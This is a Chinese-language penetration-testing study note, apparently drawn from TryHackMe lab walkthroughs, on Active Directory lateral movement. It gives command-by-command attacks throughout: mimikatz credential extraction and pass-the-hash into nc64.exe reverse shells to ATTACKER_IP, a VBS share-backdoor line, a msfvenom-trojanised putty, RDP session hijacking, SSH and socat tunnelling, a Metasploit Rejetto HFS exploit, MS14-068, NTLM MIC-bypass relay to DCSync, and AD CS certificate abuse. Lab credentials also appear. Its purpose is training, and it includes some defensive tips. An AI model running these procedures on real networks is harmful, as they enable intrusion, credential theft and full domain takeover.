目标:通过用户的 Kerberos 加密密钥(而非密码或哈希)直接请求 TGT,绕过密码验证。
-
加密类型:
类型 密钥来源 安全性 RC4 等同于 NTLM Hash(易被破解),“哈希跳过”(Overpass-the-Hash,OPtH) 低(已弃用) AES 基于密码生成的加密密钥(更强) 高
攻击流程
# 提取 Kerberos 加密密钥
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys # 显示所有会话密钥
# 根据密钥类型发起攻击
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556" # RC4
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556" # AES128
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556" # AES256
# 攻击端监听反向 Shell
nc -lvp 5556
参数解析:
/user:目标用户。/domain:域名。/aes256:AES256 密钥(替换为实际值)。/run:触发反向 Shell 的命令。
[!IMPORTANT]
当使用 RC4 时,密钥将与用户的 NTLM 哈希值相等。这意味着如果能提取 NTLM 哈希值,我们就可以使用它来请求 TGT,只要 RC4 是启用的协议之一。这种特定的变体通常被称为“哈希跳过”(Overpass-the-Hash,OPtH)。
攻击场景
- 绕过哈希限制:当目标禁用 NTLM 但允许 RC4 时,利用 RC4 密钥(即 NTLM Hash)请求 TGT。
- 防御规避:使用 AES 密钥攻击更隐蔽(不易触发基于 NTLM 的检测规则)。
防御检测
- 禁用弱加密:通过组策略禁用 RC4,强制使用 AES。
- 监控异常行为:
- 事件 ID 4768(TGT 请求)中异常的加密类型。
- 非域控制器设备发起的 TGT 请求。
实操
现有信息
- 目标主机:
thmiis.za.tryhackme.com - 攻击主机:AttackBox(IP 为
10.50.100.208) - 目标域用户:
- 用户:
t1_toby.beck
- 用户:
- 跳板机凭据:
- 用户:
ZA.TRYHACKME.COM\t2_felicia.dean - 密码:
iLov3THM!
- 用户:
连接到跳板机
使用 ssh 登录到跳板机:
ssh za\\t2_felicia.dean@thmjmp2.za.tryhackme.com
开始攻击
运行 Mimikatz 并提取认证材料
从 LSASS 中提取 hash:
.\mimikatz # 启动mimikatz
privilege::debug
token::elevate
sekurlsa::msv
# 或者使用
sekurlsa::logonpasswords # 提取内存中所有的登录凭证
得到结果中找到了目标的内容:
Authentication Id : 0 ; 530732 (00000000:0008192c)
Session : RemoteInteractive from 3
User Name : t1_toby.beck
Domain : ZA
Logon Server : THMDC
Logon Time : 4/17/2025 6:53:47 AM
SID : S-1-5-21-3330634377-1326264276-632209373-4607
msv :
[00000003] Primary
* Username : t1_toby.beck
* Domain : ZA
* NTLM : 533f1bd576caa912bdb9da284bbc60fe
* SHA1 : 8a65216442debb62a3258eea4fbcbadea40ccc38
* DPAPI : d9cd92937c7401805389fbb51260c45f
开始 PtH 攻击
使用提取到的 hash 通过 mimikatz 在反向 shell 中注入受害用户的访问令牌,执行 PtH 攻击,如下所示:
token::revert
sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /ntlm:533f1bd576caa912bdb9da284bbc60fe /run:"c:\tools\nc64.exe -e cmd.exe 10.50.100.208 5555"
接收反弹的已注入凭据的 shell。
使用反弹的 shell 尝试连接到目标主机:
winrs.exe -r:THMIIS.za.tryhackme.com cmd
成功拿下:

读取 flag
找到目标用户的桌面,找到 flag:
滥用用户行为
滥用可写共享
网络共享是用户执行日常任务非常常见的情况,但如果这些共享可以写,那么就可以防止 payload,诱导受害者触发。
其中一个做法是找到一个正向网络共享上托管脚本或可执行文件的快捷方式。
攻击原理
- 场景:企业内网常使用共享文件夹存放脚本、工具,供多用户访问。若共享权限配置错误(如 Everyone 可写),攻击者可植入恶意文件。
- 利用方式:
- 快捷方式劫持:替换合法脚本(如
.vbs)或可执行文件(如putty.exe),插入反向 Shell 代码或捆绑后门。 - 执行路径:用户点击快捷方式时,文件从共享复制到本地临时目录(
%temp%)执行,恶意代码以用户权限运行。
- 快捷方式劫持:替换合法脚本(如
技术细节
-
VBS 脚本注入:通过
WScript.Shell静默执行命令,如复制nc64.exe并触发反向连接:CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True -
EXE 文件后门:使用
msfvenom将 Metasploit 载荷注入合法程序,保留原功能同时触发隐蔽连接:msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe
防御建议
- 严格限制共享文件夹的写入权限,遵循最小权限原则。
- 对共享文件进行哈希校验或数字签名验证。
- 监控异常进程(如
nc64.exe)和网络连接。
RDP 会话劫持(RDP Hijacking)
攻击原理
-
场景:管理员通过 RDP 远程管理服务器时,若直接关闭窗口而非注销,会话会保持
Disconnected状态。攻击者利用 SYSTEM 权限可劫持此类空闲会话。 -
利用条件:
-
权限要求:需获取目标主机的 SYSTEM 权限(通过 PsExec 等工具提权):
PsExec64.exe -s cmd.exe -
系统限制:仅适用于 Windows Server 2016 及更早版本;2019+需会话用户密码。
-
技术细节
-
查询会话:
query user命令列出所有会话,识别Disc状态的空闲会话。C:\> query user USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME >administrator rdp-tcp#6 2 Active . 4/1/2022 4:09 AM luke 3 Disc . 4/6/2022 6:51 AM -
会话接管:使用
tscon将目标会话 ID 绑定到当前 RDP 连接通道。tscon 3 /dest:rdp-tcp#6 # 劫持ID为3的会话到当前RDP通道
防御建议
- 强制用户断开 RDP 时执行注销操作。
- 限制敏感账户的远程登录权限。
- 升级到 Windows Server 2019+,并启用网络级身份验证(NLA)。
实操-会话劫持
现有信息
- 攻击主机:AttackBox(IP 为
10.50.100.208) - 目标域用户:
- 用户:
t1_toby.beck
- 用户:
- 跳板机凭据:
- 用户:
t2_kelly.blake - 密码:
8LXuPeNHZFFG
- 用户:
连接到跳板机
使用已有的跳板机(THMJMP2)的行政访问权限登入:
xfreerdp /v:thmjmp2.za.tryhackme.com /u:t2_kelly.blake /p:8LXuPeNHZFFG
开始攻击
提权
使用管理员打开 cmd 后,进行提权:
C:\Windows\system32>c:\tools\PsExec64.exe -s cmd.exe
PsExec v2.34 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
查询空闲会话
使用命令 query user 列出现有会话,找到显示 disc 的空闲会话:

可以看到里面很多空闲会话,随便找一个进行劫持即可,这里选择 id = 6 的会话
会话劫持&获取 flag
使用 tscon 接管断开的会话:
tscon 6 /dest:rdp-tcp#48
成功接管,也成功拿到 flag:
端口转发
SSH 隧道技术
SSH 通道

一般在攻击机上建立 ssh 服务端,跳板机上建立 ssh 客户端,由于需要让客户端回连服务端,那么需要在攻击机上创建一个没有控制台访问权限的用户,并为创建隧道设置一个密码:
useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser
远程端口转发(Remote Port Forwarding)
-
应用场景:当目标服务器端口(如 RDP 3389)被防火墙阻挡,无法直接访问,但已控跳板机(PC-1)可访问时:

-
命令示例:
# 在跳板机shell中执行 ssh tunneluser@攻击者IP -R 攻击者端口:目标IP:目标端口 -N-
实例:将服务器的 3389 端口转发到攻击者机器的 3389 端口:
ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N
-
-
使用效果:攻击者通过本地端口访问目标服务:
xfreerdp /v:127.0.0.1 /u:用户 /p:密码
数据流向:Server:3389 → PC-1 → SSH加密隧道 → Attacker:8888
本地端口转发(Local Port Forwarding)
-
应用场景:将攻击者服务暴露给内网,从 ssh 服务器拉取一个端口到 ssh 客户端,通过跳板机提供访问入口。

-
命令示例:
# 攻击机执行,创建端口 python3 -m http.server 80 # 跳板机执行,拉取端口 ssh tunneluser@攻击者IP -L 跳板机监听IP:端口:目标IP:端口 -N-
实例:转发攻击者 80 端口到 PC-1 的 80 端口:
ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N
-
-
跳板机防火墙配置:需要管理员
# 跳板机防火墙允许80端口的入站连接,需要管理员 netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80
数据流向:内网用户 → PC-1:80 → SSH加密隧道 → Attacker:80
Socat 端口转发
适用情况:SSH 不可用时,需上传 socat 到目标主机。
基本语法:
# 跳板机上执行(转发服务器 RDP 到跳板机)
socat TCP4-LISTEN:本地端口,fork TCP4:目标IP:目标端口
fork选项允许 socat 为每个接收到的连接启动一个新的进程,这可以在不关闭连接的情况下处理多个连接。如果不使用它,socat 将在第一个连接完成后关闭。
实例:
-
转发 PC-1 的 3389 到服务器的 3389:
# PC-1执行 socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389注意:socat 不能像 SSH 那样直接将连接转发到攻击者的机器上,而是会在 PC-1 上打开一个端口,攻击者的机器可以连接到这个端口:

-
暴露攻击者 80 端口到 PC-1:
# PC-1执行 socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80PS:PC-1 将启动端口 80 并监听连接,以便将连接转发到攻击者机器上的端口 80:

-
防火墙规则:需开放对应端口:
netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389
动态端口转发与 SOCKS 代理
用途:支持多端口/多 IP 扫描,通过代理灵活访问内网资源,动态端口转发 允许通过跳转主机,通过使用 SOCKS 代理 建立到我们想要的任何 IP 地址/端口的多个连接。
动态端口转发
通过利用 ssh 客户端建立反向动态端口转发:
# 跳板机上执行
ssh tunneluser@攻击者IP -R SOCKS代理端口 -N
- 作用:在攻击者机器上启动 SOCKS 代理(端口 9050),通过 PC-1 动态转发流量。
实例:
ssh tunneluser@1.1.1.1 -R 9050 -N
PS:在此情况下,SSH 服务器将在端口
9050上启动一个 SOCKS 代理 ,并将任何连接请求通过 SSH 隧道转发,最终由 SSH 客户端进行代理。
Proxychains 配置
通过 proxychains 使用任何工具,配置参考:
-
编辑攻击机
/etc/proxychains.conf文末,确保端口一致:socks4 127.0.0.1 9050- 作用:通过 SOCKS 代理(127.0.0.1:9050)访问目标网络内的服务。
-
使用示例:
proxychains curl http://内网目标
实操 1-socat
现有信息
- 跳板机:
- 用户:
tracey.turner - 密码:
Letters1974
- 用户:
- 目标主机:
THMIIS- 用户:
t1_thomas.moore - 密码:
MyPazzw3rd2020
- 用户:
- 攻击机:
10.10.21.76
目标:无法直接使用攻击机连接目标主机的 3389,只能通过跳板机访问,但跳板机只有 shell,无法使用该方法打开 rdp,所以需要建立端口转发连接到目标的 3389。
开始攻击
连接到跳板机
使用 ssh 连接到跳板机:
ssh za\\tracey.turner@thmjmp2.za.tryhackme.com
建立 socat 端口转发
使用 socat 建立端口转发,将攻击机的 3389 指向目标的 3389:
socat.exe TCP4-LISTEN:33899,fork TCP4:THMIIS.za.tryhackme.com:3389
PS:这里需要让防火墙放行端口,也可以直接关闭防火墙。
从攻击机连接到目标的 rdp
使用 xfreerdp 连接:
xfreerdp /v:THMJMP2.za.tryhackme.com:33899 /u:t1_thomas.moore /p:MyPazzw3rd2020
拿到 flag:

实操 2-利用 Rejetto HFS 漏洞通过 SSH 隧道攻击
场景概述
- 目标服务器:THMDC(运行有漏洞的 Rejetto HFS,端口 80 开放,但防火墙仅允许 THMJMP2 访问)。
- 限制条件:
- THMDC 无法直接外连到攻击者机器(无法接收反向 Shell)。
- 漏洞利用需攻击者托管 HTTP 服务器传递 Payload,但 THMDC 无法访问外部。
现有信息
-
目标:
thmdc.za.tryhackme.com即:DC(10.200.104.101) -
跳板机:
10.200.104.249-
用户:
rachael.atkinson -
密码:
Zjqf3489
-
-
攻击机:
10.50.100.208
攻击思路
-
攻击流程解析:
- 触发漏洞:
Metasploit 通过攻击者本地的8888端口(SSH 远程转发)发送请求到 THMDC 的 80 端口,触发漏洞。 - Payload 下载:
THMDC 尝试从攻击者的 HTTP 服务器下载 Payload。由于防火墙限制,THMDC 只能连接到 THMJMP2 的 9988 端口 不能连接外部的主机,流量通过跳板机 THMJMP2 进行 SSH 本地转发到攻击者的9988端口。 - 反向 Shell 连接:
Payload 执行后,THMDC 向 THMJMP2 的 2299 端口 发起反向 Shell 连接。流量通过 SSH 本地转发到攻击者的2299端口,Metasploit 监听此端口并接收 Shell。
- 触发漏洞:
-
图解:

-
流量图:

开始攻击
连接到跳板机
ssh za\\rachael.atkinson@thmjmp2.za.tryhackme.com
创建受限 ssh 用户
创建一个没有控制台访问权限的用户:
useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser
搭建隧道
在跳板机搭建三个 ssh 隧道,这在 cmd 执行:
ssh tunneluser@10.50.100.208 -R 8888:thmdc.za.tryhackme.com:80 -L *:9988:127.0.0.1:9988 -L *:2299:127.0.0.1:2299 -N
PS:参数说明
- 远程端口转发隧道(-R 8888:thmdc:80)【RPORT】
- 将攻击者机器的 8888 端口映射到 THMDC 的 80 端口。
- 攻击者访问本地的
127.0.0.1:8888时,流量通过 SSH 隧道转发到 THMDC 的 80 端口。- 本地端口转发隧道(-L *:9988:127.0.0.1:9988)
- THMJMP2 监听 9988 端口,流量转发到攻击者机器的 9988 端口。
- 用于托管 HTTP 服务器(SRVPORT),传递漏洞利用的 Payload。
- 本地端口转发隧道(-L *:2299:127.0.0.1:2299)
- THMJMP2 监听 2299 端口,流量转发到攻击者机器的 2299 端口。
- 用于接收反向 Shell(LPORT)。
Metasploit 配置
启动 Metasploit 并配置 rejetto_hfs_exec 模块:
msfconsole
use exploit/windows/http/rejetto_hfs_exec
set payload windows/shell_reverse_tcp
# 配置 Payload 连接参数
set lhost thmjmp2.za.tryhackme.com # Payload 回连地址(THMJMP2 的 IP)
set ReverseListenerBindAddress 127.0.0.1 # 监听器绑定到攻击者本地
set lport 2299 # 反向 Shell 监听端口(与 SSH 本地转发一致)
# 配置 HTTP 服务器参数
set srvhost 127.0.0.1 # HTTP 服务器绑定到攻击者本地
set srvport 9988 # HTTP 服务端口(与 SSH 本地转发一致)
# 配置目标参数
set rhosts 127.0.0.1 # 通过 SSH 隧道访问本地的 8888 端口
set rport 8888 # 映射到 THMDC 的 80 端口
run
PS:参数说明
- ReverseListenerBindAddress
确保监听器绑定到攻击者本地的127.0.0.1,而非公网 IP,以接收通过 SSH 隧道转发的连接。- lhost vs srvhost
lhost:Payload 回连地址(需设置为 THMJMP2,因为 THMDC 无法直连攻击者)。srvhost:HTTP 服务器绑定地址(本地,通过 SSH 隧道暴露给 THMJMP2)。- rhosts 和 rport
rhosts=127.0.0.1:通过 SSH 远程转发访问本地的 8888 端口,实际目标为 THMDC 的 80 端口。
成功接收 shell

获取 flag
找到目标主机中的 flag 即可:
其他方法
通过 ms14-068 传递获取域管
原理
该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)服务中的 Windows 漏洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限。
利用条件
- 获取域普通用户的账号密码
- 获取域普通用户的 sid
- 服务器未打 KB3011780 补丁
- 版本在 server2000 以上的域控服务器
攻击示例
手工操作流程
PS:假设通过其他方式拿到了一个域用户的明文账户凭据
查看补丁情况:
systeminfo|find "KB3011780"
查看域用户的 SID:
whoami /all
得到域用户的 SID:S-1-5-21-3435113289-1855702322-4007071888-1104
清除内存中的票据:
klist purge

使用该漏洞 exp 生成票据:
ms14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户SID -d 域控ip或域名

注入票据:
kerberos::ptc 票据名字
执行命令:
dir \\dc.hack.com\c$ # 注意是机器名不是IP
后续利用就是通过建立 IPC 连接,上传 payload 上线 shell,消除痕迹进行后续操作,参见:IPC 配合计划任务 和 通过 IPC 滥用服务
利用 goldenPac.exe 操作
此工具是 impacket 工具包里的,它是 MS14-068+psexec 的组合,因此使用起来非常放方便快捷。
用法:
goldenPac.exe 域名/域用户名:域用户明文密码@域控完整域名
利用 NTLM MIC 绕过
原理&概念
在 Windows NTLM 协议中,允许攻击者在身份验证过程中恶意篡改 NTLM 数据包且 Windwos 服务器允许无消息完整性校验(MIC)的 NTLM Authenticate 消息,从而绕过协议层的完整性校验机制。这使得攻击者能够降级 NTLM 安全功能(禁用 LDAP 签名要求),最终实现将 SMB 协议的身份验证流量中继至 LDAP 服务执行高权限操作,构成接管域控的完整攻击链。
从 NTLM Authenticate 消息中删除 MIC 字段和 Version 字段,如图所示:

将 Negotiate Version 标志位设置为 Not set,如图所示:

攻击流程
此漏洞利用需要修改 MIC 等字段以绕过 NTLM 的完整性校验,并结合 NTLM Relay 攻击(参见:[NTLM Relay 攻击](.\凭据获取&提权\NTLM Relay 攻击.md)),完整操作流程如下:
- 使用域内任意有效账户,通过 SMB 连接到目标机器,使用 Print Spooler 漏洞或者 PetitPotam 漏洞强制触发目标机器向指定的机器进行 NTLM 认证;
- 中继服务器收到目标机器的 NTLM 认证流量后,通过删除相应的字段绕过 NTLM 的完整性校验并修改 NTLM 数据包的标志位使得其从 SMB 协议中继到 LDAP 不需要签名;
- 使用中继的 LDAP 流量,通过 LDAP 远程连接域控,执行高权限操作,赋予指定的账户高权限;
- 使用提升了权限的账户进行“后利用”,接管全域。
LDAP 签名绕过说明
由于通过 Print Spooler 漏洞和 PetitPotam 漏洞触发的 NTLM 认证都是基于 SMB 协议的,因此攻击者需要将 SMB 协议的身份验证流量通过 LDAP 中继到域控。但是 NTLM 认证的工作方式决定了无法直接将 SMB 协议流量中继到 LDAP。默认情况下,客户端和域控或 Exchange 服务器进行 SMB 通行时,是强制要求签名的。其 NTLM 身份验证流量的如下标志均为 Set,如图所示:
- Negotiate Key Exchange;
- Negotiate Always Sign;
- Negotiate Sign。
此时将 SMB 流量中继到 LDAP 时,由于 Negotiate Sign 和 Negotiate Always Sign 标志为 Set,该标志位触发 LDAP 签名。而攻击者又无法伪造签名,因此会被 LDAP 忽略,导致攻击失败。而此漏洞的关键就在于攻击者能绕过 NTLM 的消息完整性校验(MIC),导致可以任意修改 NTLM 认证的的数据包。因此攻击者在绕过消息完整性校验之后,可以修改流量的标志位已协商不开启 LDAP 签名校验。具体措施是将以下标志位设置为 Not Set,如图所示:
- Negotiate Key Exchange;
- Negotiate Always Sign;
- Negotiate Sign。
攻击目标
攻击目标可以是域内的任意机器。主要以域控和 Exchange 服务器为主,原因在于默认情况下两者在域内具有最高权限,对其进行攻击可以直接接管全域。
(1)攻击 Exchange 服务器操作方法
使用任何有效域用户,利用 Print Spooler 漏洞或者 PetitPotam 漏洞强制触发目标 Exchange 服务器向受控主机进行 NTLM 认证。受控主机接收到目标 Exchange 服务器的认证流量后,通过修改 NTLM 认证数据包绕过 NTLM 的消息完整性校验和 LDAP 签名,将其认证流量通过 LDAP 中继到域控。使用中继的 LDAP 身份验证,为攻击者指定的账户赋予 DCSync 权限,然后使用指定账户利用 DCSync 权限转储活动目录中所有密码 Hash,即可接管全域。
(2)攻击域控操作方法
使用任一有效域用户,在域内创建一个可控的机器账户。然后使用 Print Spooler 漏洞或者 PetitPotam 漏洞强制触发目标域控向攻击者机器进行 NTLM 认证。攻击者机器接收到目标域控的认证流量后,通过修改 NTLM 认证数据包绕过 NTLM 的消息完整性检验和 LDAP 签名,将其认证流量到 LDAP 中继到另一个域控。使用中继的 LDAP 身份验证,为攻击者指定的可控机器账户赋予基于资源的约束性委派权限,然后利用该机器账户申请访问目标域控的服务票据,即可接管全域。
漏洞影响版本
- Windwos 7 SP 1 至 Windows 10 1903;
- Windows Server 2008 至 Windows Server 2019
实验&复现示例
1、攻击 Exchange 服务器
实验环境
- 域控:192.168.41.20
- Exchange 服务器:192.168.41.30,主机名:Exchange(搭建参见:Exchange服务器搭建)
- 攻击者:192.168.41.132
- 普通域用户:ginkgo\hack: Admin123
攻击链如图:
攻击机建立监听
使用以下命令在攻击机建立监听:
# 两个命令都可以,一个集成了,一个没有集成
impacket-ntlmrelayx --remove-mic --escalate-user <AD_User> -t ldap://<DC_ip> -smb2support --no-dump -debug
python3 ntlmrelayx.py --remove-mic --escalate-user <AD_User> -t ldap://<DC_ip> -smb2support --no-dump -debug
参数说明:
- –remove-mic:用于绕过 NTLM 的消息完整性校验
- –esclate-user:用于指定用户 DCSync 权限
- -t:将认证凭据中继到指定 LDAP
- -smb2support:用于支持 SMB2 协议
- –no-dump: 表示获得 DCSync 权限后不导出域内所有用户的 Hash
- -debug:用于显示日志信息
利用漏洞
使用 printbug.py 脚本以用户 hack\hack 身份连接 Exchange 服务器,触发 Exchange 服务器的 Print Spooler 漏洞,强制触发目标 Exchange 服务器向指定的攻击者机器进行 NTLM 认证。
脚本下载地址:https://github.com/dirkjanm/krbrelayx
python3 printerbug.py <域名前缀>/<AD_User>:<passwd>@<Exchange_IP> <attacker_ip>
执行后就修改收到的认证流量中的字段,绕过 MIC 和强制取消签名,再通过 LDAP 中继给到主域控,而在 LDAP 中执行的高权限操作是赋予用户 hack DCSync 权限。

Tips:如图所示,可以看到该脚本首先会遍历中继的机器账户的权限,发现目标 Exchange 服务器的机器账户在域内的机器账户拥有创建和修改域 ACL 的权限。接着该脚本会修改域的 ACL 来提权,因为它相比创建高权限用户更为隐蔽。通过修改用户 hack 的 ACL,为其赋予 DCSync 权限。
提取域内 hash
域普通用户 hack 被赋予 DCSync 权限后,可以直接导出域内所有用户的 Hash。此时使用 secretsdump.py 脚本执行如下的命令,即可导出账户 Krbtgt 的 Hash:
# 两个命令都可以,一个集成了,一个没有集成
python3 secretsdump.py <域名>/<AD_User>:<password>@<DC_ip> -just-dc-user krbtgt
impacket-secretsdump <域名>/<AD_User>:<password>@<DC_ip> -just-dc-user krbtgt

可以看到成功获取到了krbtgt账户的hash,那么就可以进行后续的操作,比如获取域管hash进行pth登入dc。
pth拿下DC1
直接获取域管hash,然后利用wmiexec/psexec等拿到dc1的shell,这里使用较为隐蔽的wmiexec:
impacket-wmiexec -hashes :<NTLM hash> <域名>/administrator@<DC_ip>

[补充]通过脚本自动化攻击Exchange
脚本地址:https://github.com/Ridter/CVE-2019-1040
直接getshell
# 通过域内用户明文凭据
python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip
# 通过域内用户hash
python CVE-2019-1040.py -ah attackterip -u user --hashes userhash -d domain.com -th DCip MailServerip
转储用户hash
# 通过域内用户明文凭据
python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip --just-dc-user krbtgt
# 通过域内用户hash
python CVE-2019-1040.py -ah attackterip -u user --hashes userhash -d domain.com -th DCip MailServerip --just-dc-user krbtgt
2、攻击域控
攻击条件:需要目标域内 至少存在两台域控:一台用于触发 Print Spooler 漏洞或 PetitPotam 漏洞,另一台用于继中 LDAP 流量执行高权限操作(同一机器的流量中继回去会失败)。
攻击域控有以下两种情况:
- 目标域 支持 LDAPS:可以直接利用 ntlmrelaxy.py 脚本中继时创建的机器账户并赋予委派的权限(远程添加用户,需要 LDAPS)
- 目标域 不支持 LDAPS:可以首先自己创建一个机器账户,然后赋予委派权限。以下实验基于这种情况。
实验环境如下:
- 域控 1:192.168.41.20,主机名为:2012-R2-DC1
- 域控 2:192.168.41.30,主机名为:2012-R2-DC2
- 域内主机:192.168.41.100,主机名为:member
- 攻击者:192.168.41.132(kali)、192.168.41.1(win)
- 普通域用户:ginkgo\xyz: Admin123
利用链如图:
创建机器账户
以普通域账户 ginkgo\xyz 的身份在域内主机上使用 Powershell 脚本执行如下的命令创建一个机器账户的 machine$, 密码为 Admin123(可以直接使用xyz登录机器或者推荐通过runas注入凭据):
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount <machine_account> # 密码设置为Admin123
建立监听
在攻击者机器 kali 上执行如下的命令进行监听:
# 类型一:目标域不支持 LDAP,可以使用如下的命令,指定刚刚创建的机器账户 machine$
python3 ntlmrelayx.py -t ldap://<DC1_ip> -smb2support --remove-mic --delegate-access --escalate-user machine\$
# 类型二:目标域支持 LDAP,可以使用如下的命令,会自动创建机器账户
python3 ntlmrelayx.py -t ldaps://<DC1_ip> -smb2support --remove-mic --delegate-access
参数说明:
- -t:将认证凭据中继到指定LDAP
- -smb2support:用于支持SMB2协议
- –remove-mic:用于绕过NTLM的消息完整校验性
- –delegate-access:用于指定委派
- –escalate-user:指定需要赋予委派权限的用户
利用漏洞
使用printbug.py脚本执行命令,使用户ginkgo\xyz连接域控DC2,触发域控DC2的Print Spooler漏洞,强制触发目标域控向攻击者机器进行NTLM认证:
python3 printerbug.py <域名>/<AD_user>:<passwd>@<DC2_ip> <attacker_ip>

然后将收到的认证进行修改,以绕过MIC和取消签名,然后通过LDAP中继到DC1,LDAP中执行的最高权限的操作是赋予机器账户machine$对域控DC2的基于资源的约束性委派的权限。
利用RBCD拿下DC1
此时机器账户machine$已经拥有对域控DC2具有RBCD了,可以执行如下命令进行后利用,可导出域内任意用户的Hash,也可以直接远程连接域控DC2:
#以Administrator身份申请访问DC2机器的CIFS票据
python3 getST.py -spn cifs/<DC2主机名>.<域名> <域名前缀>/<machine_account>\$:<machine_passwd> -dc-ip <DC1_ip> -impersonate administrator
#导入申请的服务票据
export KRB5CCNAME=administrator.ccahe
# 方案一:导出域内用户krbtgt的Hash
python3 secretsdump.py <域名前缀>/<AD_User>:<password>@<DC2_ip> -just-dc-user krbtgt
python3 secretsdump.py -k -no-pass <DC2主机名>.<域名> -just-dc-user krbtgt
#方案二:远程连接DC2机器
python3 smbexec.py -no-pass -k <DC2主机名>.<域名> -codec gbk

漏洞修复和预防
直接安装相应补丁即可。
利用AD CS颁发域控机器账户证书
原理&概念
由于ADCS服务器在处理计算机模板证书时是通过机器的dNSHostName属性来辨别用户的,而攻击者通过篡改可控计算机账户的dNSHostName属性,将其伪装成域控的DNS主机名,利用AD CS证书服务对机器身份验证的信任漏洞,欺骗证书服务器颁发域控机器账户的证书,进而获取域控权限(如DCSync)。
攻击流程
- 攻击者创建或控制普通机器账户(如
FAKE-PC$); - 删除该账户的
servicePrincipalName属性中的DNS记录,将其dNSHostName属性修改为域控的DNS名(如DC.hack.com); - 向AD CS申请机器证书时,AD CS错误地将
FAKE-PC$识别为域控账户,颁发高权限证书; - 攻击者用该证书申请域控的Kerberos票据,最终导出域控哈希或执行DCSync攻击。
实验&攻击示例
实验环境如下:
- 域:ginkgo.com
- 域控:DC1(192.168.41.20)
- ADCS服务器(非域控,普通域内机器):Sever2016(192.168.41.100)
- CA名称:ginkgo-SEVER2016-CA
- 普通域用户:ginkgo/hack:Admin123
首先在攻击机器配置hosts:
192.168.41.20 DC1.<域名>
然后执行如下的命令定位ADCS服务器,主要记住Name和Server参数的值:
#在域内的话,可以执行如下命令定位证书服务器
certutil -config - -ping
#或者下面的命令,不弹框定位
certutil -dump -v
攻击机执行命令利用用户hack远程创建机器账户machine,并且设置其dnsHostname属性为DC1.ginkgo.com:
certipy account create -u <AD_User>@<DC1主机名>.<域名> -p <passwd> -dc-ip <DC1_ip> -user "machine" -dns "<DC1主机名>.<域名>" -debug
Tips:执行后会列出机器账户的密码。
再执行命令以machine$身份请求一个Machine类型的证书,由于机器账户的machine$的dnsHostname已经设置为DC1.ginkgo.com,因此返回的是以域控DC1身份请求的证书dc.pfx:
certipy req -u 'machine$'@<域名> -p <前面列出的密码> -target <ADCS_ip> -ca <CA_name> -template Machine
最后执行命令用dc.pfx证书进行Kerberos认证,从返回的票据PAC中得到域控DC机器的账户的NTLM Hash:
certipy auth -pfx dc.pfx -dc-ip <DC1_ip> -debug
由于域控机器账户默认有域内DCSync权限,因此可以导出任意账户的NTLM Hash:
# 导出域管administration的NTLM Hash
python3 secretsdump.py -hashes <LM Hash>:<NTLM Hash> "<域名前缀>/<DC1主机名>\$@<DC1_ip>" -just-dc-user administrator
【补充】部分凭据提取目标说明
常见的对主机上凭据的提取目标有:SAM、LSA、Ntds.dit、LSASS、DPAPI
说明
SAM(Security Account Manager,安全账户管理器)
- 作用:
- Windows 系统中存储本地用户账户信息(如用户名、密码哈希值)的数据库,位于
C:\Windows\System32\config\SAM。 - 负责本地用户的身份验证,不参与域环境的身份验证(域环境使用 Active Directory)。
- Windows 系统中存储本地用户账户信息(如用户名、密码哈希值)的数据库,位于
- 可提取的凭据:
- NTLM 哈希:用户密码的哈希值(LM 哈希默认已禁用,但可能存在残留)。
- 用户名、用户权限、账户状态等信息。
- 提取条件:
- 需要 SYSTEM 权限或绕过 SAM 数据库的加密保护(如通过卷影复制服务 VSS 备份)。
LSA(Local Security Authority,本地安全机构)
- 作用:
- 负责本地安全策略的执行,包括用户登录验证、访问控制、安全审计等。
- 作为进程运行(
lsass.exe),管理安全令牌和会话。
- 可提取的凭据:
- 明文密码:部分场景下(如用户登录后未注销),LSASS 可能存储明文密码(需配置或漏洞触发,如 EternalBlue)。
- NTLM 哈希:通过内存 dump 获取。
- Kerberos 票据(TGT/TGS):域环境中用于身份验证的票据。
- 提取条件:
- 需要读取 LSASS 进程内存的权限(如管理员权限或利用漏洞)。
Ntds.dit(Active Directory 数据库文件)
- 作用:
- 域控制器中存储 Active Directory 数据的核心文件,位于
C:\Windows\NTDS\ntds.dit。 - 包含域内所有用户账户、组、计算机账户、权限配置等信息。
- 域控制器中存储 Active Directory 数据的核心文件,位于
- 可提取的凭据:
- 用户账户哈希(NTLM/LM):域用户的密码哈希值。
